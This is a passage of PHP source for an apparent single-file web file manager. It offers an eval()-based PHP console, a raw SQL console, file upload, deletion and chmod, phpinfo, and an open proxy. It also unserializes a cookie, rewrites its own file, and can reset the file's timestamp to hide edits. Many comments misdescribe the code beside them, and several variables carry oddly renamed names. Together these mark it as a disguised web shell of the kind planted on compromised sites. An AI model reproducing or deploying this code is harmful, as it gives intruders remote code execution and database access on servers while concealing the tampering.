$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

